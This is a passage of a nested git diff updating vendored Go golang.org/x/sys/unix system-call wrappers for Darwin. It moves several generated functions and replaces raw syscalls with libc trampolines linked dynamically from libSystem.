-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func kill(pid int, signum int, posix int) (err error) {
- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
-@@ -408,6 +547,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -672,26 +837,6 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -712,23 +857,6 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -930,21 +1058,6 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1229,8 +1342,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1375,36 +1489,6 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1598,6 +1682,33 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int64(r0)
-@@ -1607,3 +1718,94 @@ func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_GETFSSTAT64, uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.go
-new file mode 100644
-index 00000000..314042a9
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.go
-@@ -0,0 +1,41 @@
-+// go run mksyscall.go -tags darwin,amd64,go1.13 syscall_darwin.1_13.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build darwin,amd64,go1.13
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func closedir(dir uintptr) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_closedir_trampoline), uintptr(dir), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_closedir_trampoline()
-+
-+//go:linkname libc_closedir libc_closedir
-+//go:cgo_import_dynamic libc_closedir closedir "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno) {
-+ r0, _, _ := syscall_syscall(funcPC(libc_readdir_r_trampoline), uintptr(dir), uintptr(unsafe.Pointer(entry)), uintptr(unsafe.Pointer(result)))
-+ res = Errno(r0)
-+ return
-+}
-+
-+func libc_readdir_r_trampoline()
-+
-+//go:linkname libc_readdir_r libc_readdir_r
-+//go:cgo_import_dynamic libc_readdir_r readdir_r "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s
-new file mode 100644
-index 00000000..d671e831
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s
-@@ -0,0 +1,12 @@
-+// go run mkasm_darwin.go amd64
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.13
-+
-+#include "textflag.h"
-+TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fdopendir(SB)
-+TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_closedir(SB)
-+TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readdir_r(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go
-index 5f1f6bfe..50d6437e 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,amd64 syscall_bsd.go syscall_darwin.go syscall_darwin_amd64.go
-+// go run mksyscall.go -tags darwin,amd64,go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,amd64
-+// +build darwin,amd64,go1.12
-
- package unix
-
-@@ -15,7 +15,7 @@ var _ syscall.Errno
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -23,20 +23,30 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+func libc_getgroups_trampoline()
-+
-+//go:linkname libc_getgroups libc_getgroups
-+//go:cgo_import_dynamic libc_getgroups getgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgroups_trampoline()
-+
-+//go:linkname libc_setgroups libc_setgroups
-+//go:cgo_import_dynamic libc_setgroups setgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_wait4_trampoline), uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -44,10 +54,15 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- return
- }
-
-+func libc_wait4_trampoline()
-+
-+//go:linkname libc_wait4 libc_wait4
-+//go:cgo_import_dynamic libc_wait4 wait4 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_accept_trampoline), uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -55,30 +70,45 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+func libc_accept_trampoline()
-+
-+//go:linkname libc_accept libc_accept
-+//go:cgo_import_dynamic libc_accept accept "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_bind_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_bind_trampoline()
-+
-+//go:linkname libc_bind libc_bind
-+//go:cgo_import_dynamic libc_bind bind "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_connect_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_connect_trampoline()
-+
-+//go:linkname libc_connect libc_connect
-+//go:cgo_import_dynamic libc_connect connect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_socket_trampoline), uintptr(domain), uintptr(typ), uintptr(proto))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -86,66 +116,101 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+func libc_socket_trampoline()
-+
-+//go:linkname libc_socket libc_socket
-+//go:cgo_import_dynamic libc_socket socket "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockopt_trampoline()
-+
-+//go:linkname libc_getsockopt libc_getsockopt
-+//go:cgo_import_dynamic libc_getsockopt getsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setsockopt_trampoline()
-+
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getpeername_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getpeername_trampoline()
-+
-+//go:linkname libc_getpeername libc_getpeername
-+//go:cgo_import_dynamic libc_getpeername getpeername "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getsockname_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockname_trampoline()
-+
-+//go:linkname libc_getsockname libc_getsockname
-+//go:cgo_import_dynamic libc_getsockname getsockname "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_shutdown_trampoline), uintptr(s), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_shutdown_trampoline()
-+
-+//go:linkname libc_shutdown libc_shutdown
-+//go:cgo_import_dynamic libc_shutdown shutdown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall6(funcPC(libc_socketpair_trampoline), uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_socketpair_trampoline()
-+
-+//go:linkname libc_socketpair libc_socketpair
-+//go:cgo_import_dynamic libc_socketpair socketpair "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-@@ -155,7 +220,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_recvfrom_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -163,6 +228,11 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- return
- }
-
-+func libc_recvfrom_trampoline()
-+
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-@@ -172,17 +242,22 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendto_trampoline), uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sendto_trampoline()
-+
-+//go:linkname libc_sendto libc_sendto
-+//go:cgo_import_dynamic libc_sendto sendto "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_recvmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -190,10 +265,15 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_recvmsg_trampoline()
-+
-+//go:linkname libc_recvmsg libc_recvmsg
-+//go:cgo_import_dynamic libc_recvmsg recvmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_sendmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -201,10 +281,15 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_sendmsg_trampoline()
-+
-+//go:linkname libc_sendmsg libc_sendmsg
-+//go:cgo_import_dynamic libc_sendmsg sendmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_kevent_trampoline), uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -212,21 +297,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_kevent_trampoline()
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_kevent libc_kevent
-+//go:cgo_import_dynamic libc_kevent kevent "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -236,34 +310,49 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_utimes_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_utimes_trampoline()
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:cgo_import_dynamic libc_utimes utimes "/usr/lib/libSystem.B.dylib"
-+
